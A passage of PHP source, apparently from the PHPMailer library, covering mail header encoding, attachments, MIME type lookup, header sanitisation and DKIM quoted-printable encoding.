  10179. case 'quoted-printable':
  10180. $encoded = $this->encodeQP($str);
  10181. break;
  10182. default:
  10183. $this->setError($this->lang('encoding') . $encoding);
  10184. break;
  10185. }
  10186. return $encoded;
  10187. }
  10188.  
  10189. /**
  10190. * Encode a header string optimally.
  10191. * Picks shortest of Q, B, quoted-printable or none.
  10192. * @access public
  10193. * @param string $str
  10194. * @param string $position
  10195. * @return string
  10196. */
  10197. public function encodeHeader($str, $position = 'text')
  10198. {
  10199. $matchcount = 0;
  10200. switch (strtolower($position)) {
  10201. case 'phrase':
  10202. if (!preg_match('/[\200-\377]/', $str)) {
  10203. // Can't use addslashes as we don't know the value of magic_quotes_sybase
  10204. $encoded = addcslashes($str, "\0..\37\177\\\"");
  10205. if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
  10206. return ($encoded);
  10207. } else {
  10208. return ("\"$encoded\"");
  10209. }
  10210. }
  10211. $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
  10212. break;
  10213. /** @noinspection PhpMissingBreakStatementInspection */
  10214. case 'comment':
  10215. $matchcount = preg_match_all('/[()"]/', $str, $matches);
  10216. // Intentional fall-through
  10217. case 'text':
  10218. default:
  10219. $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
  10220. break;
  10221. }
  10222.  
  10223. if ($matchcount == 0) { // There are no chars that need encoding
  10224. return ($str);
  10225. }
  10226.  
  10227. $maxlen = 75 - 7 - strlen($this->CharSet);
  10228. // Try to select the encoding which should produce the shortest output
  10229. if ($matchcount > strlen($str) / 3) {
  10230. // More than a third of the content will need encoding, so B encoding will be most efficient
  10231. $encoding = 'B';
  10232. if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
  10233. // Use a custom function which correctly encodes and wraps long
  10234. // multibyte strings without breaking lines within a character
  10235. $encoded = $this->base64EncodeWrapMB($str, "\n");
  10236. } else {
  10237. $encoded = base64_encode($str);
  10238. $maxlen -= $maxlen % 4;
  10239. $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
  10240. }
  10241. } else {
  10242. $encoding = 'Q';
  10243. $encoded = $this->encodeQ($str, $position);
  10244. $encoded = $this->wrapText($encoded, $maxlen, true);
  10245. $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
  10246. }
  10247.  
  10248. $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
  10249. $encoded = trim(str_replace("\n", $this->LE, $encoded));
  10250.  
  10251. return $encoded;
  10252. }
  10253.  
  10254. /**
  10255. * Check if a string contains multi-byte characters.
  10256. * @access public
  10257. * @param string $str multi-byte text to wrap encode
  10258. * @return boolean
  10259. */
  10260. public function hasMultiBytes($str)
  10261. {
  10262. if (function_exists('mb_strlen')) {
  10263. return (strlen($str) > mb_strlen($str, $this->CharSet));
  10264. } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
  10265. return false;
  10266. }
  10267. }
  10268.  
  10269. /**
  10270. * Does a string contain any 8-bit chars (in any charset)?
  10271. * @param string $text
  10272. * @return boolean
  10273. */
  10274. public function has8bitChars($text)
  10275. {
  10276. return (boolean)preg_match('/[\x80-\xFF]/', $text);
  10277. }
  10278.  
  10279. /**
  10280. * Encode and wrap long multibyte strings for mail headers
  10281. * without breaking lines within a character.
  10282. * Adapted from a function by paravoid
  10283. * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
  10284. * @access public
  10285. * @param string $str multi-byte text to wrap encode
  10286. * @param string $linebreak string to use as linefeed/end-of-line
  10287. * @return string
  10288. */
  10289. public function base64EncodeWrapMB($str, $linebreak = null)
  10290. {
  10291. $start = '=?' . $this->CharSet . '?B?';
  10292. $end = '?=';
  10293. $encoded = '';
  10294. if ($linebreak === null) {
  10295. $linebreak = $this->LE;
  10296. }
  10297.  
  10298. $mb_length = mb_strlen($str, $this->CharSet);
  10299. // Each line must have length <= 75, including $start and $end
  10300. $length = 75 - strlen($start) - strlen($end);
  10301. // Average multi-byte ratio
  10302. $ratio = $mb_length / strlen($str);
  10303. // Base64 has a 4:3 ratio
  10304. $avgLength = floor($length * $ratio * .75);
  10305.  
  10306. for ($i = 0; $i < $mb_length; $i += $offset) {
  10307. $lookBack = 0;
  10308. do {
  10309. $offset = $avgLength - $lookBack;
  10310. $chunk = mb_substr($str, $i, $offset, $this->CharSet);
  10311. $chunk = base64_encode($chunk);
  10312. $lookBack++;
  10313. } while (strlen($chunk) > $length);
  10314. $encoded .= $chunk . $linebreak;
  10315. }
  10316.  
  10317. // Chomp the last linefeed
  10318. $encoded = substr($encoded, 0, -strlen($linebreak));
  10319. return $encoded;
  10320. }
  10321.  
  10322. /**
  10323. * Encode a string in quoted-printable format.
  10324. * According to RFC2045 section 6.7.
  10325. * @access public
  10326. * @param string $string The text to encode
  10327. * @param integer $line_max Number of chars allowed on a line before wrapping
  10328. * @return string
  10329. * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
  10330. */
  10331. public function encodeQP($string, $line_max = 76)
  10332. {
  10333. if (function_exists('quoted_printable_encode')) { // Use native function if it's available (>= PHP5.3)
  10334. return $this->fixEOL(quoted_printable_encode($string));
  10335. }
  10336. // Fall back to a pure PHP implementation
  10337. $string = str_replace(
  10338. array('%20', '%0D%0A.', '%0D%0A', '%'),
  10339. array(' ', "\r\n=2E", "\r\n", '='),
  10340. rawurlencode($string)
  10341. );
  10342. $string = preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
  10343. return $this->fixEOL($string);
  10344. }
  10345.  
  10346. /**
  10347. * Backward compatibility wrapper for an old QP encoding function that was removed.
  10348. * @see PHPMailer::encodeQP()
  10349. * @access public
  10350. * @param string $string
  10351. * @param integer $line_max
  10352. * @param boolean $space_conv
  10353. * @return string
  10354. * @deprecated Use encodeQP instead.
  10355. */
  10356. public function encodeQPphp(
  10357. $string,
  10358. $line_max = 76,
  10359. /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
  10360. ) {
  10361. return $this->encodeQP($string, $line_max);
  10362. }
  10363.  
  10364. /**
  10365. * Encode a string using Q encoding.
  10366. * @link http://tools.ietf.org/html/rfc2047
  10367. * @param string $str the text to encode
  10368. * @param string $position Where the text is going to be used, see the RFC for what that means
  10369. * @access public
  10370. * @return string
  10371. */
  10372. public function encodeQ($str, $position = 'text')
  10373. {
  10374. // There should not be any EOL in the string
  10375. $pattern = '';
  10376. $encoded = str_replace(array("\r", "\n"), '', $str);
  10377. switch (strtolower($position)) {
  10378. case 'phrase':
  10379. // RFC 2047 section 5.3
  10380. $pattern = '^A-Za-z0-9!*+\/ -';
  10381. break;
  10382. /** @noinspection PhpMissingBreakStatementInspection */
  10383. case 'comment':
  10384. // RFC 2047 section 5.2
  10385. $pattern = '\(\)"';
  10386. // intentional fall-through
  10387. // for this reason we build the $pattern without including delimiters and []
  10388. case 'text':
  10389. default:
  10390. // RFC 2047 section 5.1
  10391. // Replace every high ascii, control, =, ? and _ characters
  10392. $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
  10393. break;
  10394. }
  10395. $matches = array();
  10396. if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
  10397. // If the string contains an '=', make sure it's the first thing we replace
  10398. // so as to avoid double-encoding
  10399. $eqkey = array_search('=', $matches[0]);
  10400. if (false !== $eqkey) {
  10401. unset($matches[0][$eqkey]);
  10402. array_unshift($matches[0], '=');
  10403. }
  10404. foreach (array_unique($matches[0]) as $char) {
  10405. $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
  10406. }
  10407. }
  10408. // Replace every spaces to _ (more readable than =20)
  10409. return str_replace(' ', '_', $encoded);
  10410. }
  10411.  
  10412.  
  10413. /**
  10414. * Add a string or binary attachment (non-filesystem).
  10415. * This method can be used to attach ascii or binary data,
  10416. * such as a BLOB record from a database.
  10417. * @param string $string String attachment data.
  10418. * @param string $filename Name of the attachment.
  10419. * @param string $encoding File encoding (see $Encoding).
  10420. * @param string $type File extension (MIME) type.
  10421. * @param string $disposition Disposition to use
  10422. * @return void
  10423. */
  10424. public function addStringAttachment(
  10425. $string,
  10426. $filename,
  10427. $encoding = 'base64',
  10428. $type = '',
  10429. $disposition = 'attachment'
  10430. ) {
  10431. // If a MIME type is not specified, try to work it out from the file name
  10432. if ($type == '') {
  10433. $type = self::filenameToType($filename);
  10434. }
  10435. // Append to $attachment array
  10436. $this->attachment[] = array(
  10437. 0 => $string,
  10438. 1 => $filename,
  10439. 2 => basename($filename),
  10440. 3 => $encoding,
  10441. 4 => $type,
  10442. 5 => true, // isStringAttachment
  10443. 6 => $disposition,
  10444. 7 => 0
  10445. );
  10446. }
  10447.  
  10448. /**
  10449. * Add an embedded (inline) attachment from a file.
  10450. * This can include images, sounds, and just about any other document type.
  10451. * These differ from 'regular' attachments in that they are intended to be
  10452. * displayed inline with the message, not just attached for download.
  10453. * This is used in HTML messages that embed the images
  10454. * the HTML refers to using the $cid value.
  10455. * @param string $path Path to the attachment.
  10456. * @param string $cid Content ID of the attachment; Use this to reference
  10457. * the content when using an embedded image in HTML.
  10458. * @param string $name Overrides the attachment name.
  10459. * @param string $encoding File encoding (see $Encoding).
  10460. * @param string $type File MIME type.
  10461. * @param string $disposition Disposition to use
  10462. * @return boolean True on successfully adding an attachment
  10463. */
  10464. public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
  10465. {
  10466. if (!@is_file($path)) {
  10467. $this->setError($this->lang('file_access') . $path);
  10468. return false;
  10469. }
  10470.  
  10471. // If a MIME type is not specified, try to work it out from the file name
  10472. if ($type == '') {
  10473. $type = self::filenameToType($path);
  10474. }
  10475.  
  10476. $filename = basename($path);
  10477. if ($name == '') {
  10478. $name = $filename;
  10479. }
  10480.  
  10481. // Append to $attachment array
  10482. $this->attachment[] = array(
  10483. 0 => $path,
  10484. 1 => $filename,
  10485. 2 => $name,
  10486. 3 => $encoding,
  10487. 4 => $type,
  10488. 5 => false, // isStringAttachment
  10489. 6 => $disposition,
  10490. 7 => $cid
  10491. );
  10492. return true;
  10493. }
  10494.  
  10495. /**
  10496. * Add an embedded stringified attachment.
  10497. * This can include images, sounds, and just about any other document type.
  10498. * Be sure to set the $type to an image type for images:
  10499. * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
  10500. * @param string $string The attachment binary data.
  10501. * @param string $cid Content ID of the attachment; Use this to reference
  10502. * the content when using an embedded image in HTML.
  10503. * @param string $name
  10504. * @param string $encoding File encoding (see $Encoding).
  10505. * @param string $type MIME type.
  10506. * @param string $disposition Disposition to use
  10507. * @return boolean True on successfully adding an attachment
  10508. */
  10509. public function addStringEmbeddedImage(
  10510. $string,
  10511. $cid,
  10512. $name = '',
  10513. $encoding = 'base64',
  10514. $type = '',
  10515. $disposition = 'inline'
  10516. ) {
  10517. // If a MIME type is not specified, try to work it out from the name
  10518. if ($type == '') {
  10519. $type = self::filenameToType($name);
  10520. }
  10521.  
  10522. // Append to $attachment array
  10523. $this->attachment[] = array(
  10524. 0 => $string,
  10525. 1 => $name,
  10526. 2 => $name,
  10527. 3 => $encoding,
  10528. 4 => $type,
  10529. 5 => true, // isStringAttachment
  10530. 6 => $disposition,
  10531. 7 => $cid
  10532. );
  10533. return true;
  10534. }
  10535.  
  10536. /**
  10537. * Check if an inline attachment is present.
  10538. * @access public
  10539. * @return boolean
  10540. */
  10541. public function inlineImageExists()
  10542. {
  10543. foreach ($this->attachment as $attachment) {
  10544. if ($attachment[6] == 'inline') {
  10545. return true;
  10546. }
  10547. }
  10548. return false;
  10549. }
  10550.  
  10551. /**
  10552. * Check if an attachment (non-inline) is present.
  10553. * @return boolean
  10554. */
  10555. public function attachmentExists()
  10556. {
  10557. foreach ($this->attachment as $attachment) {
  10558. if ($attachment[6] == 'attachment') {
  10559. return true;
  10560. }
  10561. }
  10562. return false;
  10563. }
  10564.  
  10565. /**
  10566. * Check if this message has an alternative body set.
  10567. * @return boolean
  10568. */
  10569. public function alternativeExists()
  10570. {
  10571. return !empty($this->AltBody);
  10572. }
  10573.  
  10574. /**
  10575. * Clear all To recipients.
  10576. * @return void
  10577. */
  10578. public function clearAddresses()
  10579. {
  10580. foreach ($this->to as $to) {
  10581. unset($this->all_recipients[strtolower($to[0])]);
  10582. }
  10583. $this->to = array();
  10584. }
  10585.  
  10586. /**
  10587. * Clear all CC recipients.
  10588. * @return void
  10589. */
  10590. public function clearCCs()
  10591. {
  10592. foreach ($this->cc as $cc) {
  10593. unset($this->all_recipients[strtolower($cc[0])]);
  10594. }
  10595. $this->cc = array();
  10596. }
  10597.  
  10598. /**
  10599. * Clear all BCC recipients.
  10600. * @return void
  10601. */
  10602. public function clearBCCs()
  10603. {
  10604. foreach ($this->bcc as $bcc) {
  10605. unset($this->all_recipients[strtolower($bcc[0])]);
  10606. }
  10607. $this->bcc = array();
  10608. }
  10609.  
  10610. /**
  10611. * Clear all ReplyTo recipients.
  10612. * @return void
  10613. */
  10614. public function clearReplyTos()
  10615. {
  10616. $this->ReplyTo = array();
  10617. }
  10618.  
  10619. /**
  10620. * Clear all recipient types.
  10621. * @return void
  10622. */
  10623. public function clearAllRecipients()
  10624. {
  10625. $this->to = array();
  10626. $this->cc = array();
  10627. $this->bcc = array();
  10628. $this->all_recipients = array();
  10629. }
  10630.  
  10631. /**
  10632. * Clear all filesystem, string, and binary attachments.
  10633. * @return void
  10634. */
  10635. public function clearAttachments()
  10636. {
  10637. $this->attachment = array();
  10638. }
  10639.  
  10640. /**
  10641. * Clear all custom headers.
  10642. * @return void
  10643. */
  10644. public function clearCustomHeaders()
  10645. {
  10646. $this->CustomHeader = array();
  10647. }
  10648.  
  10649. /**
  10650. * Add an error message to the error container.
  10651. * @access protected
  10652. * @param string $msg
  10653. * @return void
  10654. */
  10655. protected function setError($msg)
  10656. {
  10657. $this->error_count++;
  10658. if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
  10659. $lasterror = $this->smtp->getError();
  10660. if (!empty($lasterror) and array_key_exists('smtp_msg', $lasterror)) {
  10661. $msg .= '<p>' . $this->lang('smtp_error') . $lasterror['smtp_msg'] . "</p>\n";
  10662. }
  10663. }
  10664. $this->ErrorInfo = $msg;
  10665. }
  10666.  
  10667. /**
  10668. * Return an RFC 822 formatted date.
  10669. * @access public
  10670. * @return string
  10671. * @static
  10672. */
  10673. public static function rfcDate()
  10674. {
  10675. // Set the time zone to whatever the default is to avoid 500 errors
  10676. // Will default to UTC if it's not set properly in php.ini
  10677. date_default_timezone_set(@date_default_timezone_get());
  10678. return date('D, j M Y H:i:s O');
  10679. }
  10680.  
  10681. /**
  10682. * Get the server hostname.
  10683. * Returns 'localhost.localdomain' if unknown.
  10684. * @access protected
  10685. * @return string
  10686. */
  10687. protected function serverHostname()
  10688. {
  10689. $result = 'localhost.localdomain';
  10690. if (!empty($this->Hostname)) {
  10691. $result = $this->Hostname;
  10692. } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
  10693. $result = $_SERVER['SERVER_NAME'];
  10694. } elseif (function_exists('gethostname') && gethostname() !== false) {
  10695. $result = gethostname();
  10696. } elseif (php_uname('n') !== false) {
  10697. $result = php_uname('n');
  10698. }
  10699. return $result;
  10700. }
  10701.  
  10702. /**
  10703. * Get an error message in the current language.
  10704. * @access protected
  10705. * @param string $key
  10706. * @return string
  10707. */
  10708. protected function lang($key)
  10709. {
  10710. if (count($this->language) < 1) {
  10711. $this->setLanguage('en'); // set the default language
  10712. }
  10713.  
  10714. if (isset($this->language[$key])) {
  10715. return $this->language[$key];
  10716. } else {
  10717. return 'Language string failed to load: ' . $key;
  10718. }
  10719. }
  10720.  
  10721. /**
  10722. * Check if an error occurred.
  10723. * @access public
  10724. * @return boolean True if an error did occur.
  10725. */
  10726. public function isError()
  10727. {
  10728. return ($this->error_count > 0);
  10729. }
  10730.  
  10731. /**
  10732. * Ensure consistent line endings in a string.
  10733. * Changes every end of line from CRLF, CR or LF to $this->LE.
  10734. * @access public
  10735. * @param string $str String to fixEOL
  10736. * @return string
  10737. */
  10738. public function fixEOL($str)
  10739. {
  10740. // Normalise to \n
  10741. $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
  10742. // Now convert LE as needed
  10743. if ($this->LE !== "\n") {
  10744. $nstr = str_replace("\n", $this->LE, $nstr);
  10745. }
  10746. return $nstr;
  10747. }
  10748.  
  10749. /**
  10750. * Add a custom header.
  10751. * $name value can be overloaded to contain
  10752. * both header name and value (name:value)
  10753. * @access public
  10754. * @param string $name Custom header name
  10755. * @param string $value Header value
  10756. * @return void
  10757. */
  10758. public function addCustomHeader($name, $value = null)
  10759. {
  10760. if ($value === null) {
  10761. // Value passed in as name:value
  10762. $this->CustomHeader[] = explode(':', $name, 2);
  10763. } else {
  10764. $this->CustomHeader[] = array($name, $value);
  10765. }
  10766. }
  10767.  
  10768. /**
  10769. * Create a message from an HTML string.
  10770. * Automatically makes modifications for inline images and backgrounds
  10771. * and creates a plain-text version by converting the HTML.
  10772. * Overwrites any existing values in $this->Body and $this->AltBody
  10773. * @access public
  10774. * @param string $message HTML message string
  10775. * @param string $basedir baseline directory for path
  10776. * @param boolean|callable $advanced Whether to use the internal HTML to text converter
  10777. * or your own custom converter @see html2text()
  10778. * @return string $message
  10779. */
  10780. public function msgHTML($message, $basedir = '', $advanced = false)
  10781. {
  10782. preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
  10783. if (isset($images[2])) {
  10784. foreach ($images[2] as $imgindex => $url) {
  10785. // Convert data URIs into embedded images
  10786. if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
  10787. $data = substr($url, strpos($url, ','));
  10788. if ($match[2]) {
  10789. $data = base64_decode($data);
  10790. } else {
  10791. $data = rawurldecode($data);
  10792. }
  10793. $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
  10794. if ($this->addStringEmbeddedImage($data, $cid, '', 'base64', $match[1])) {
  10795. $message = str_replace(
  10796. $images[0][$imgindex],
  10797. $images[1][$imgindex] . '="cid:' . $cid . '"',
  10798. $message
  10799. );
  10800. }
  10801. } elseif (!preg_match('#^[A-z]+://#', $url)) {
  10802. // Do not change urls for absolute images (thanks to corvuscorax)
  10803. $filename = basename($url);
  10804. $directory = dirname($url);
  10805. if ($directory == '.') {
  10806. $directory = '';
  10807. }
  10808. $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
  10809. if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
  10810. $basedir .= '/';
  10811. }
  10812. if (strlen($directory) > 1 && substr($directory, -1) != '/') {
  10813. $directory .= '/';
  10814. }
  10815. if ($this->addEmbeddedImage(
  10816. $basedir . $directory . $filename,
  10817. $cid,
  10818. $filename,
  10819. 'base64',
  10820. self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
  10821. )
  10822. ) {
  10823. $message = preg_replace(
  10824. '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
  10825. $images[1][$imgindex] . '="cid:' . $cid . '"',
  10826. $message
  10827. );
  10828. }
  10829. }
  10830. }
  10831. }
  10832. $this->isHTML(true);
  10833. // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
  10834. $this->Body = $this->normalizeBreaks($message);
  10835. $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
  10836. if (empty($this->AltBody)) {
  10837. $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
  10838. self::CRLF . self::CRLF;
  10839. }
  10840. return $this->Body;
  10841. }
  10842.  
  10843. /**
  10844. * Convert an HTML string into plain text.
  10845. * This is used by msgHTML().
  10846. * Note - older versions of this function used a bundled advanced converter
  10847. * which was been removed for license reasons in #232
  10848. * Example usage:
  10849. * <code>
  10850. * // Use default conversion
  10851. * $plain = $mail->html2text($html);
  10852. * // Use your own custom converter
  10853. * $plain = $mail->html2text($html, function($html) {
  10854. * $converter = new MyHtml2text($html);
  10855. * return $converter->get_text();
  10856. * });
  10857. * </code>
  10858. * @param string $html The HTML text to convert
  10859. * @param boolean|callable $advanced Any boolean value to use the internal converter,
  10860. * or provide your own callable for custom conversion.
  10861. * @return string
  10862. */
  10863. public function html2text($html, $advanced = false)
  10864. {
  10865. if (is_callable($advanced)) {
  10866. return call_user_func($advanced, $html);
  10867. }
  10868. return html_entity_decode(
  10869. trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
  10870. ENT_QUOTES,
  10871. $this->CharSet
  10872. );
  10873. }
  10874.  
  10875. /**
  10876. * Get the MIME type for a file extension.
  10877. * @param string $ext File extension
  10878. * @access public
  10879. * @return string MIME type of file.
  10880. * @static
  10881. */
  10882. public static function _mime_types($ext = '')
  10883. {
  10884. $mimes = array(
  10885. 'xl' => 'application/excel',
  10886. 'js' => 'application/javascript',
  10887. 'hqx' => 'application/mac-binhex40',
  10888. 'cpt' => 'application/mac-compactpro',
  10889. 'bin' => 'application/macbinary',
  10890. 'doc' => 'application/msword',
  10891. 'word' => 'application/msword',
  10892. 'class' => 'application/octet-stream',
  10893. 'dll' => 'application/octet-stream',
  10894. 'dms' => 'application/octet-stream',
  10895. 'exe' => 'application/octet-stream',
  10896. 'lha' => 'application/octet-stream',
  10897. 'lzh' => 'application/octet-stream',
  10898. 'psd' => 'application/octet-stream',
  10899. 'sea' => 'application/octet-stream',
  10900. 'so' => 'application/octet-stream',
  10901. 'oda' => 'application/oda',
  10902. 'pdf' => 'application/pdf',
  10903. 'ai' => 'application/postscript',
  10904. 'eps' => 'application/postscript',
  10905. 'ps' => 'application/postscript',
  10906. 'smi' => 'application/smil',
  10907. 'smil' => 'application/smil',
  10908. 'mif' => 'application/vnd.mif',
  10909. 'xls' => 'application/vnd.ms-excel',
  10910. 'ppt' => 'application/vnd.ms-powerpoint',
  10911. 'wbxml' => 'application/vnd.wap.wbxml',
  10912. 'wmlc' => 'application/vnd.wap.wmlc',
  10913. 'dcr' => 'application/x-director',
  10914. 'dir' => 'application/x-director',
  10915. 'dxr' => 'application/x-director',
  10916. 'dvi' => 'application/x-dvi',
  10917. 'gtar' => 'application/x-gtar',
  10918. 'php3' => 'application/x-httpd-php',
  10919. 'php4' => 'application/x-httpd-php',
  10920. 'php' => 'application/x-httpd-php',
  10921. 'phtml' => 'application/x-httpd-php',
  10922. 'phps' => 'application/x-httpd-php-source',
  10923. 'swf' => 'application/x-shockwave-flash',
  10924. 'sit' => 'application/x-stuffit',
  10925. 'tar' => 'application/x-tar',
  10926. 'tgz' => 'application/x-tar',
  10927. 'xht' => 'application/xhtml+xml',
  10928. 'xhtml' => 'application/xhtml+xml',
  10929. 'zip' => 'application/zip',
  10930. 'mid' => 'audio/midi',
  10931. 'midi' => 'audio/midi',
  10932. 'mp2' => 'audio/mpeg',
  10933. 'mp3' => 'audio/mpeg',
  10934. 'mpga' => 'audio/mpeg',
  10935. 'aif' => 'audio/x-aiff',
  10936. 'aifc' => 'audio/x-aiff',
  10937. 'aiff' => 'audio/x-aiff',
  10938. 'ram' => 'audio/x-pn-realaudio',
  10939. 'rm' => 'audio/x-pn-realaudio',
  10940. 'rpm' => 'audio/x-pn-realaudio-plugin',
  10941. 'ra' => 'audio/x-realaudio',
  10942. 'wav' => 'audio/x-wav',
  10943. 'bmp' => 'image/bmp',
  10944. 'gif' => 'image/gif',
  10945. 'jpeg' => 'image/jpeg',
  10946. 'jpe' => 'image/jpeg',
  10947. 'jpg' => 'image/jpeg',
  10948. 'png' => 'image/png',
  10949. 'tiff' => 'image/tiff',
  10950. 'tif' => 'image/tiff',
  10951. 'eml' => 'message/rfc822',
  10952. 'css' => 'text/css',
  10953. 'html' => 'text/html',
  10954. 'htm' => 'text/html',
  10955. 'shtml' => 'text/html',
  10956. 'log' => 'text/plain',
  10957. 'text' => 'text/plain',
  10958. 'txt' => 'text/plain',
  10959. 'rtx' => 'text/richtext',
  10960. 'rtf' => 'text/rtf',
  10961. 'vcf' => 'text/vcard',
  10962. 'vcard' => 'text/vcard',
  10963. 'xml' => 'text/xml',
  10964. 'xsl' => 'text/xml',
  10965. 'mpeg' => 'video/mpeg',
  10966. 'mpe' => 'video/mpeg',
  10967. 'mpg' => 'video/mpeg',
  10968. 'mov' => 'video/quicktime',
  10969. 'qt' => 'video/quicktime',
  10970. 'rv' => 'video/vnd.rn-realvideo',
  10971. 'avi' => 'video/x-msvideo',
  10972. 'movie' => 'video/x-sgi-movie'
  10973. );
  10974. return (array_key_exists(strtolower($ext), $mimes) ? $mimes[strtolower($ext)]: 'application/octet-stream');
  10975. }
  10976.  
  10977. /**
  10978. * Map a file name to a MIME type.
  10979. * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
  10980. * @param string $filename A file name or full path, does not need to exist as a file
  10981. * @return string
  10982. * @static
  10983. */
  10984. public static function filenameToType($filename)
  10985. {
  10986. // In case the path is a URL, strip any query string before getting extension
  10987. $qpos = strpos($filename, '?');
  10988. if (false !== $qpos) {
  10989. $filename = substr($filename, 0, $qpos);
  10990. }
  10991. $pathinfo = self::mb_pathinfo($filename);
  10992. return self::_mime_types($pathinfo['extension']);
  10993. }
  10994.  
  10995. /**
  10996. * Multi-byte-safe pathinfo replacement.
  10997. * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
  10998. * Works similarly to the one in PHP >= 5.2.0
  10999. * @link http://www.php.net/manual/en/function.pathinfo.php#107461
  11000. * @param string $path A filename or path, does not need to exist as a file
  11001. * @param integer|string $options Either a PATHINFO_* constant,
  11002. * or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
  11003. * @return string|array
  11004. * @static
  11005. */
  11006. public static function mb_pathinfo($path, $options = null)
  11007. {
  11008. $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
  11009. $pathinfo = array();
  11010. if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
  11011. if (array_key_exists(1, $pathinfo)) {
  11012. $ret['dirname'] = $pathinfo[1];
  11013. }
  11014. if (array_key_exists(2, $pathinfo)) {
  11015. $ret['basename'] = $pathinfo[2];
  11016. }
  11017. if (array_key_exists(5, $pathinfo)) {
  11018. $ret['extension'] = $pathinfo[5];
  11019. }
  11020. if (array_key_exists(3, $pathinfo)) {
  11021. $ret['filename'] = $pathinfo[3];
  11022. }
  11023. }
  11024. switch ($options) {
  11025. case PATHINFO_DIRNAME:
  11026. case 'dirname':
  11027. return $ret['dirname'];
  11028. case PATHINFO_BASENAME:
  11029. case 'basename':
  11030. return $ret['basename'];
  11031. case PATHINFO_EXTENSION:
  11032. case 'extension':
  11033. return $ret['extension'];
  11034. case PATHINFO_FILENAME:
  11035. case 'filename':
  11036. return $ret['filename'];
  11037. default:
  11038. return $ret;
  11039. }
  11040. }
  11041.  
  11042. /**
  11043. * Set or reset instance properties.
  11044. *
  11045. * Usage Example:
  11046. * $page->set('X-Priority', '3');
  11047. *
  11048. * @access public
  11049. * @param string $name
  11050. * @param mixed $value
  11051. * NOTE: will not work with arrays, there are no arrays to set/reset
  11052. * @throws phpmailerException
  11053. * @return boolean
  11054. * @TODO Should this not be using __set() magic function?
  11055. */
  11056. public function set($name, $value = '')
  11057. {
  11058. try {
  11059. if (isset($this->$name)) {
  11060. $this->$name = $value;
  11061. } else {
  11062. throw new phpmailerException($this->lang('variable_set') . $name, self::STOP_CRITICAL);
  11063. }
  11064. } catch (Exception $exc) {
  11065. $this->setError($exc->getMessage());
  11066. if ($exc->getCode() == self::STOP_CRITICAL) {
  11067. return false;
  11068. }
  11069. }
  11070. return true;
  11071. }
  11072.  
  11073. /**
  11074. * Strip newlines to prevent header injection.
  11075. * @access public
  11076. * @param string $str
  11077. * @return string
  11078. */
  11079. public function secureHeader($str)
  11080. {
  11081. return trim(str_replace(array("\r", "\n"), '', $str));
  11082. }
  11083.  
  11084. /**
  11085. * Normalize line breaks in a string.
  11086. * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
  11087. * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
  11088. * @param string $text
  11089. * @param string $breaktype What kind of line break to use, defaults to CRLF
  11090. * @return string
  11091. * @access public
  11092. * @static
  11093. */
  11094. public static function normalizeBreaks($text, $breaktype = "\r\n")
  11095. {
  11096. return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
  11097. }
  11098.  
  11099.  
  11100. /**
  11101. * Set the public and private key files and password for S/MIME signing.
  11102. * @access public
  11103. * @param string $cert_filename
  11104. * @param string $key_filename
  11105. * @param string $key_pass Password for private key
  11106. */
  11107. public function sign($cert_filename, $key_filename, $key_pass)
  11108. {
  11109. $this->sign_cert_file = $cert_filename;
  11110. $this->sign_key_file = $key_filename;
  11111. $this->sign_key_pass = $key_pass;
  11112. }
  11113.  
  11114. /**
  11115. * Quoted-Printable-encode a DKIM header.
  11116. * @access public
  11117. * @param string $txt
  11118. * @return string
  11119. */
  11120. public function DKIM_QP($txt)
  11121. {
  11122. $line = '';
  11123. for ($i = 0; $i < strlen($txt); $i++) {
  11124. $ord = ord($txt[$i]);
  11125. if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
  11126. $line .= $txt[$i];
  11127. } else {
  11128. $line .= '=' . sprintf('%02X', $ord);
  11129. }
  11130. }
  11131. return $line;
  11132. }
  11133.  
